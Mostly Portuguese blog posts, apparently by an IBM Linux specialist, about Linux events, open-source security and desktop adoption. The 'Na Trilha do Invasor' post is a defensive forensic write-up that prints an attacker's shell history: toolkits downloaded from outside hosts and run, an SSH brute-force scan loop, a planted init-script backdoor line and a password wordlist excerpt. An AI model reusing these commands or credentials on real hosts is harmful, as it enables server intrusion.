Evento sobre Soluções Práticas para Linux

Vamos realizar aqui na IBM um evento gratuito para empresas e profissionais que prestam serviços de TI. O objetivo é mostrar possibilidades de arquiteturas que poucos conhecem mas que trazem enormes benefícios operacionais e financeiros, pois usa computação de forma ecônomica.
Abordarei os seguintes assuntos:

  • Posicionando Open Source e Linux no TI das empresas
  • Clusters de Alta Disponibilidade e Replicação
  • Paravirtualização: a última tendência em virtualização de Hardware
  • Esquemas especiais de segurança com SELinux e AppArmor
  • Grid e SOA com Linux
  • Possibilidades de Linux no desktop
  • PC Multiusuário
  • Formato OpenDocument
  • Outros

Será dia 8 de maio, próxima terça, das 14:00 às 17:30 na IBM São Paulo (rua Tutóia 1157). Sala TU02-226.

Confirme presença com a Fernanda Moraes <femoraes@br.ibm.com> por e-mail ou no telefone 11-2132-5691.

Adicione:

Venha conhecer mais profissionais de sua área, trocar idéias e tomar um café.

Festa no Novo Escritório da Red Hat Brasil

A Red Hat comemorou hoje seu novo escritório num dos edifícios mais novos e elegantes de São Paulo.

Endereço do novo escritório da Red Hat

Muitos parceiros e clientes foram confortavelmente recebidos para um coquetel espaçoso num escritório colorido, decorado com uma mistura de cartazes de propaganda de produtos, e outros com a famosa frase de Gandhi que foi adotada pelo Open Source:

Primeiro eles te ignoram, depois eles riem de você, depois eles lutam contra você, e depois você vence.

A primeira coisa que chamava a atenção era a “Sala de Descompressão”, onde o pessoal pode relachar jogando games. Mas depois nos levaram para conhecer as espaçosas salas de reunião, as bem equipadas salas de aula, e as salas dos gerentes.

Havia realmente muito espaço que eles pretendem preencher com novas contratações de vendedores, sales engineers, pessoal de marketing etc. E havia ainda a outra metade inteira do andar para mobiliar e ocupar. Mas em pequenos passos.

A Red Hat (ou Rêd Hétchi, como diz Alejandro Chocolat, argentino gente boa que comanda a empresa no Brasil) inaugurou sua operação por aqui ao comprar a Latin Source, empresa que já os representava no cone sul.

Estavam todos presentes: Chocolat com seu inconfundível sotaque, Julian, Gabriel Szulik (com o mesmo sobrenome do diretor mundial da empresa, mas que afirma não ser parente dele), Rodrigo Missiagia e suas belas camisas caneladas, Filipe absorvido em resolver o problema de um cliente, David Barzilay com um terno novo e bonito, Leticia, Edgar (o sopro Java/JBoss na equipe técnica de vendas), Paulo Banitz e outros tantos que lamento não lembrar o nome.

O ar da empresa tem um quê de Google: aquele ambiente descontraido onde todos trabalham por prazer, fazem o que gostam, e ainda estão na ponta da tecnologia. Eles pretendem dobrar de tamanho em um ano.

Há um lado oculto da empresa: o laboratório de tecnologia. É oculto porque seus membros não ficam muito a vista, imersos em melhorar o kernel do Linux, o JBoss, e escovar outros bits. É o lar de figurões como Marcelo Tosatti, Acme e outros.

A conversa com o Edgar, figura Java, foi particularmente interessante. Ele veio da Summa e está a uma semana na Red Hat. É o primeiro da empresa que tem a missão de falar sobre JBoss com o mercado. Contou que muitos clientes já usam JBoss gratuitamente, e que agora é hora de provar o valor de terem também suporte comercial. Contei que achava muito importante a Red Hat ter comprado a JBoss. Na linha do tempo de decidir qual tecnologias adotar, uma empresa pensa antes na plataforma de aplicações (coisas como o JBoss, WebSphere, middleware em geral), e só depois no sistema operacional (Linux). No tecnês do dia a dia, dizemos que sistema operacional é um mal necessário. Ter uma oferta tão estratégica e expressiva como o JBoss coloca a Red Hat numa posição adiantada nessa linha do tempo.

Resumo da ópera: a festa foi superdivertida e ótima para encontrar os amigos do nosso mundo de Linux comercial no Brasil.

Pré-FISL em São Paulo

Acabei de sair do evento Pré-FISL em São Paulo, organizado pela 4Linux.

Foi ótimo. Com palestras e palestrantes de alta qualidade. Confira:

  • Josh Berkus, do PostreSQL, esclareceu a evolução do projeto e comunidade. Contou que a versão 8.3 do PostreSQL vai suportar DBs de vários terabytes, e que a performance da versão 8.2 atual já é comparável com o MySQL. Contou também que os nichos do PostreSQL e do MySQL são diferentes. O primeiro está focado em grandes bancos, enquanto o MySQL tende a usos exóticos ou a bancos pequenos ou até em RAM. Sobre suporte a XML do PostgreSQL mostrou os primeiros passos, mas explicou que não chegam nem perto do DB2 nesse ponto. Outro gráfico interessante é a relação do custo-benefício comparado a um “banco de dados proprietário” de cor vermelha: 80% do benefício por 15% do custo total de propriedade.
  • Maddog fez uma apresentação de tom idealista sobre thin clients, contando como terminais burros eram usados antigamente e a vida das pessoas era mais fácil. Argumentou que o projeto One Laptop Per Child é bonito mas o que importa não é o hardware e sim a conectividade em todo lugar. Quando questionei que muitas empresas já usam thinclient mas em Windows, e que o que falta é uma abordagem de mudança cultural menos infraestrutural e mais no nível das aplicações (convertendo-as para web ou para padrões abertos), ele disse que é só uma questão de volume. Quero ver… Seja como for, nós adultos também queremos um laptop conectado !
  • Jomar Silva, diretor geral da ODF Alliance Brasil, falou por uns minutos sobre ODF e sua importância para os usuários, empresas e desenvolvedores de aplicações.
  • Cezar Taurion falou pela IBM com uma palestra entitulada “Renascimento 2.0”, onde usou seu raciocínio claro e pragmático para explicar o modelo Open Source, e como ele se encaixa num modelo empresarial. Falou sobre o conceito Long Tail e como ele está relacionado a era do Mundo de Pontas.
  • Kristian Kielhofner falou sobre o Asterisk. Muito interessante. Mas a maior sensação foi seu celular Nokia que suporta SIP. Ou seja, para qualquer contato de sua lista telefônica, ele pode fazer uma ligação normal (por GSM) ou por VoIP, gastando bytes de seu plano IP (mais barato) e economizando minutos de seu plano de voz (mais caro). Segundo ele, os aparelhos Nokia da linha E e N estão anos a frente de qualquer outro fabricante por sua integração com VoIP. Ele consegue rotear seu ramal do trabalho, ou seu telefone de casa para seu celular, não por followme, mas por IP — Nokia é o celular dos geeks. Mostrou também um gadget que parece um isqueiro com porta ethernet: trata-se de um computador com WiFi que tem 256MB de RAM e AstLinux já instalado, boota em segundos com Linux, Asterisk e um firewall, e lhe serve como uma central telefônica portátil para viagens.
  • Amauri Zavatin, da Caixa Econômica, impressionou todos contando como o banco social está aos poucos usando Linux em todos os lugares. Dentro de um ano, todos os terminais dos caixas e ATM serão thin clients Linux. BrOffice.org já está sendo massivamente usado, com ordem da presidência, e há prazo de 6 meses para desinstalar o MS Office. Intranet foi toda redesenvolvida em Java e Zope, e está servindo como piloto para a próxima Internet do banco. Diminuiram em 70% os gastos com impressão porque começaram a controlar seu uso com ferramentas open source. Des-terceirizaram todo o negócio das casas lotéricas (por causa das notícias de corrupção) redesenvolvendo todas as aplicações internamente com Java e Linux, e o projeto saiu por uma fração do que foi previsto. Etc etc etc. Esta palestra serviu como um termômetro do uso de Open Source de forma corporativa, responsável e séria.
  • Louis Suarez-Potts, da Collab.net, fez uma palestra emocionada sobre OpenOffice.org e ODF, convocando mais colaboradores para os diversos projetos atrelados ao OOo. Explicou que pode-se contribuir para a suite em sí, mas também para os subprojetos de marketing, empacotamento, artwork, testes, plugins e extensões.

O evento fechou com um coquetel informal onde reencontrei velhos amigos como o Luiz Blanes e outros.

A casa estava cheia, e espero que o evento se repita ano que vem. Tem tudo para se tornar tradição em São Paulo.

Evento de Virtualização da Novell

Novell Virtualization Tour

Não podemos deixar de marcar nossa presença no evento de virtualização da Novell. Confira as datas e cidades:

Brasil América Latina

No track da IBM vou fazer uma apresentação nova sobre virtualização, incluindo o tema quente da paravirtualização, mas passando também por virtualização de storage, virtualização de aplicações, e outras virtualizações pouco conhecidas, até chegar nos conceitos de Grid e SOA que são as vertentes mais sofisticadas de virtualização.

Inscreva-se gratuitamente nos links acima e garanta sua vaga.

Segurança em Open Source

Cezar Taurion, excelente consultor e colega de trabalho, engatou seu blog no developerWorks. Gostaria de complementar seu artigo da Linux Magazine de dezembro de 2006 com algumas aspectos sobre segurança.

Não há como afirmar que Open Source é mais seguro que Closed Source, ou que Closed Source é mais seguro que Open Source. Quem o afirma, geralmente faz por religião e não por análise fria.

Considero-me especialista em segurança, mas evito ao máximo tocar neste assunto ao falar com clientes em geral, quando o âmbito é Open Source. Só quando eles perguntam. Simplesmente porque cada um terá uma opinião, e porque nehuma opinião pode ser verdadeiramente constatada.

Vamos dividir o mundo Open Source em dois blocos. No primeiro desfilam as escolas do grupo 1, campeões de audiência como o Apache HTTP Server, Samba, boa parte do Kernel, Bind, OpenSSH, DHCP, Firefox, OpenOffice.org, libc, que são arrasadoramente populares, e literalmente seguram a festa da Internet no ar. A lista não é muito maior que essa.

E no grupo 2 ficam todos os outros projetos Open Source, disputando um lugar ao sol e na passarela das distribuições Linux. Aqui estão as dezenas de milhares de projetos abandonados do SourceForge.net, e também projetos longe da criticidade das do grupo 1, mas já um pouco mais usados, como Gnome, KDE, X.org, a outra parte do Kernel, OpenLDAP, NAS, VNC, ImageMagick, Bash, Gimp, Kopete, Gaim, libc++, libxml, ntp, e mais todo o resto que não aparece no grupo 1 mas que está instalado aí no seu computador.

Enquanto pensamos que no closed source podem haver pontos inacessivelmente inseguros e backdoors, devemos também nos perguntar se há realmente pessoas analisando todo Open Source que interessa, com enfoque em segurança. Pense no grupo 2.

Sobre segurança em Open Source, a única coisa que podemos afirmar é que o código se mantém aberto para quem quiser auditá-lo (característica que o closed source não tem e nem quer ter). Mas novamente, isso não é garantia de que suas falhas serão achadas.

No grupo 1, dos superpopulares, a estória é outra. Eles são naturalmente submetidos a stress massivo e constante do mundo real. E a dependência que muitas empresas e indivíduos tem desse grupo os leva a se relacionar de forma simbiótica com sua evolução. Usam o fato de ter o fonte disponível para auditar e contribuir melhorias.

A separação entre os grupos não é tão nítida. Usei só para ilustrar. A fronteira é na verdade uma larga faixa de projetos Open Source com diferentes graduações de popularidade, stress e uso.

É preciso ter a soma de dois aspectos para se ter a melhor segurança: código fonte aberto + extrema popularidade, sendo o último mais importante (e mais difícil de alcançar) que o primeiro.

Um closed source também tem sua chance de ser seguro. Basta a empresa que o fabrica cuidar bem de seu produto. Se ele for popular, ela tende a cobrar menos para executar este trabalho. Se for menos popular, mas ainda desejado pelos clientes, seu preço tende a ser mais alto.

OSDL Linux Client Survey Analysis is Out

On January 25th the OSDL released their 2006 Linux client survey analysis, which identified the following barriers for Linux deployment on desktops:

  1. Application availability
  2. Quality of peripheral support
  3. End user training
  4. Desktop management issue

It is not that applications don’t exist for the Linux desktop, but users grow accustomed to certain applications that they just can’t live without.

Users report they are missing applications as Microsoft Office (OpenOffice.org is the alternative), Adobe Photoshop (which has The Gimp as the closest, but still far alternative), AutoCAD (with QCad as a very far similar) and others.

For peripherals, this is the list:

  1. Printers
  2. Personal storage devices (i.e. USB memory)
  3. Scanners
  4. Digital cameras
  5. Mail and messaging devices
  6. Web cam / video
  7. Smartphones

However, it is still difficult to buy a printer at your local electronics store and expect it to work out of the box on a Linux machine. While most printers are supported on Linux, there is still a lag from the time when a printer hits the market to when the driver driver is available and automatically installed on your computer by a commercial distro update.

And as a Linux user, I must add that when the device works, it usually won’t work with its full set of capabilities, because drivers are usually written by third parties on the OSS world – and not by their manufacturers, which are expected to have a much deeper knowledge (and project commitment) on these hardware capabilities.

So the problem is a committed application and drivers development. Well, how can companies commit themselves to develop desktop software (which means friendly to non-technicall users) in a world that had not decided yet about some elementary standards? Yes, there is the FreeDesktop.org initiative but the standards they are focused on are more related to KDE-Gnome interoperability.

Most important standards that must be defined will find their home in a layer bellow: LSB. But unfortunately, the Linux Standard Base still has a big job to finish and still seems to have difficulties to catch up with ISVs.

As an example, there is no de facto standard defined for things as trivial as a configuration files format for the whole system, not only for desktop apps. This is particularly important because configurations are what makes software run in a specific way. They are the soul of any software (while code is the body). A popular standard for configurations will provide ways for any software to collaborate with, and auto-configure any other software. On Windows, this was successfully achieved with its registry. On Linux, similar but broader and better alternatives exist (as the Elektra Initiative), but this is a subject that seems to not inspire the OSS community.

Standards bodies can’t do everything alone. The community must be ready for changes, adaptations, and have courage to throw away code that was not choosed by the standard, and start focusing on what was selected to be part of it. Courage to stop reinventing the wheel. For example, on a vanilla KDE installation you will find about 4 different media players (Amarok, Juk, kboodle, noatun, etc) and 3 different plain editors (kate, kedit, kwriter). If you have Gnome installed on same system, add a few more to each class of applications (and to the icons that will appear on your menus). This is confusing, fat and bad.

Another important fact on the analysis is a 49% desktop share for Canonical’s Ubuntu Linux, against RHEL and SLED with 16% each. RHEL and SuSE are more popular on servers and are essentially and structurally different distributions, but both use RPM as their packaging system. While Ubuntu is radically different from both, based on Debian, with the DEB format for packages. A well known and well used packaging system is very important on a desktop world, because this is what guarantees an easy, painless software installations and upgrades. So if I am an ISV with limited technicall staff and time resources, how should I package my software for easy deployment? DEB or RPM? If RPM, should I focus on Red Hat or SuSE flavors? Though questions.

Application vendors cannot afford to develop, distribute, and support applications across a fragmented Linux market.

Red Hat and Novell should look at their future server market, paying attention on what is happening today on the desktop. History shows that people tend to bring to work (and to servers) what they like and use on their desktops at home. This is Ubuntu’s long term strategy and they seem to be succeeding, at least on their first phase.

Na Trilha do Invasor

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os Rastros Deixados pelo Cracker

O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:26:27 sshd[PID]: refused connect from  IP.IP.IP.IP

Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.

Histórico do Ataque

Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.

Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functions
initscripts-7.93.20.EL
bash$ rpm -V initscripts
S.5....T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script functions ?

A última linha do script era esta:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabs
o ficheiro /usr/bin/crontabs não pertence a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:

bash$ strings /usr/bin/crontabs
[...]
"smbd -D"
"(swapd)" &
[...]

Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D"
[...]
Received SIGHUP; restarting.
Generating new %d bit RSA key.
RSA key generation complete.
   -b bits    Size of server RSA key (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]

Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:

Feb  19 19:24:49 localhost smbd -D: RSA1 key generation succeeded
Feb  19 19:24:50 localhost smbd -D: RSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D: DSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D:  succeeded

Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:

bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz
tar xzvf flo.tgz...linhas omitidas...
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50
[...]
/usr/sbin/adduser scanning

O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:

  • No diretório /usr/share/.a ele instalou e executou o tal comando mig que aparentemente é um limpador de histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro.
  • Em /var/tmp foi baixado um tal usr.tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também foi alterado, provavelmente para esconder as conexões deste bot a diversos servidores de IRC na porta padrão 6667, o que constatamos com o ksysguard. Adiante explicaremos o que um cracker faz com isso.

Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.

Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:

root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.

A Reinstalação da Máquina

Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:

  • Só instalamos pacotes que sabíamos que seriam usados. Descartamos completamente a idéia de fazer uma instalação completa.
  • Depois de instalado, desligamos alguns serviços que sabíamos que não seriam usados, como NIS, Samba, Portmap, NFS. E se possível os desinstalávamos.
  • Criamos regras para o iptables fechando praticamente tudo menos as portas 80 (HTTP) e 443 (HTTPS).
  • Requisitamos ao provedor do link P que configurasse regras semelhante em seu roteador, formando um firewall duplo.
  • Por via das dúvidas, desabilitamos o acesso por SSH ao root, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.
  • E dessa vez foram usadas senhas decentes, bem difíceis, com letras, números, e que não eram derivadas de palavras óbvias.
  • As senhas só foram informadas verbalmente para poucas pessoas. Evitamos passar por e-mail.

Por que o Cracker Ataca ?

Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.
Ataque Distributed Denial of Service

Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.

Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.

Só Freud explica…

Freetype with Bytecode Interpreter

I am the maintainer and writer of most of the official Linux Font-HOWTO [official home], and one of its main points is to explain what is the TrueType Bytecode Interpreter.

I spent some time this morning updating the freetype package on my system [get RPMs], compiling it with support to BCI, and I took the chance to get some “before & after” screenshots of Konqueror browser accessing Google Mail with and without BCI.

Check it out. This is better than makeup ads:

Before: Original Freetype lib without BCI After: New Freetype RPM compiled with BCI
freetype4-nbci.png freetype4-bci.png
freetype1-nbci.png freetype1-bciaa.png freetype1-bci.png
freetype2-nbci.png freetype2-bciaa.png freetype2-bci.png
freetype3-nbci.png freetype3-bciaa.png freetype3-bci.png

After switching to BCI-enabled freetype, the use of Webcore fonts without anti-aliasing gives much much much better results, as you can see. Unfortunately these fonts are not free, but they are better than the popular Bitstream Vera fonts because they include hinting information.

BTW, anti-aliasing is useful in 2 situations only: if you are rendering fonts in big sizes (bigger than 13px), or if you have bad, non-hinted fonts (as Bitstream Vera) with a bad font rendering library (as Freetype without BCI support). If you have good hinted fonts and a good rendering library (as Freetype with BCI), restrict anti-alising only for big font sizes.

Open Source na Prática

O primeiro a propor a idéia de Open Source Software (OSS) foi Richard Stallman na década de 1970, que a formalizou, com a ajuda de alguns advogados, na famosa licença GPL.

Ninguém se interessou ou sequer ouviu falar sobre isso, até que em meados da década de 1990, tudo mudou com a vertiginosa popularização do Linux, sistema operacional OSS.

O termo popular “Software Livre” não é a melhor tradução de Open Source Software, cujo correto é Software de Código Fonte Aberto. É importante notar isso porque muitas vezes o termo é erradamente associado a idéia de não-proprietário, ou não-comercial. A verdade é que um software pode ter seu código fonte aberto mas ser comercial e/ou proprietário e vice-versa, portanto são conceitos que não devem ser confundidos.

A idéia é simples: eu escrevo um programa e você pode copiá-lo à vontade sem nem sequer me notificar. Pode inclusive modificá-lo e redistribuí-lo, contanto que também mantenha suas modificações abertas e informe qual a origem e os autores anteriores do software.

Isso não quer dizer que teremos diversas versões desconexas do mesmo software, num dado momento. Cada modificação passa por um processo muito bem organizado de aceitação ou rejeite, onde boas melhorias retornam à base e são incorporadas à nova versão do software. Na verdade, hoje, a maioria dessas contribuições não é mais feita por indivíduos, mas por empresas de tecnologia.

É comum — e errado — pensar que OSS significa a morte de todo software de código fechado. Isso não acontece porque a tendência é que as grandes inovações continuem a ser exploradas pelo modelo fechado. Imagine um mundo hipotético que ainda não conhece editores de planilhas. É natural que, ao lançar esse produto, seu inventor opte pelo modelo de código fonte fechado, para maximizar seus lucros através do total controle de sua invenção. Contudo, conforme essa invenção se populariza, desenvolve um mercado e adquire concorrentes, OSS surge como uma das formas — a mais inovadora — para repensá-la. OSS inova ao reimplementar o que outros inventaram e exploraram anteriormente. Recentemente, porém, a indústria começou a usar OSS diretamente para lançar certas inovações, justamente pelo seu poder de agregar comunidades e criar ecossistemas.

Também é comum — e errado — acreditar que se o software em si é gratuito, elimina-se por completo os gastos. Mas sempre haverá a necessidade de um suporte confiável. OSS altera o eixo do valor agregado do software, movendo-o do software em si (que não custa nada), para o serviço de suporte.

Open Source, Open Standards relacionados a TI

Em seu processo de amadurecimento, a única diferença prática entre um software OSS e outro de código fonte fechado é a ordem em que as coisas acontecem. Um fabricante comercial terá que criar estrutura e suporte regional antes de vender o produto. Já no OSS, ofertas de suporte só surgem (espontaneamente) depois que ele goza de uma boa gama de usuários. Mas seja qual for a ordem, a única coisa que garante maturidade a qualquer software ou produto é um ciclo de desenvolvimento–uso–suporte, que estimula mais desenvolvimento. Somente essa maturidade garante a aceitação do produto em empresas responsáveis. E hoje, OSSs como Linux, Apache, OpenOffice.org, Samba, e outros já gozam desse ecossistema cíclico de uma forma vasta, global e vigorosa.

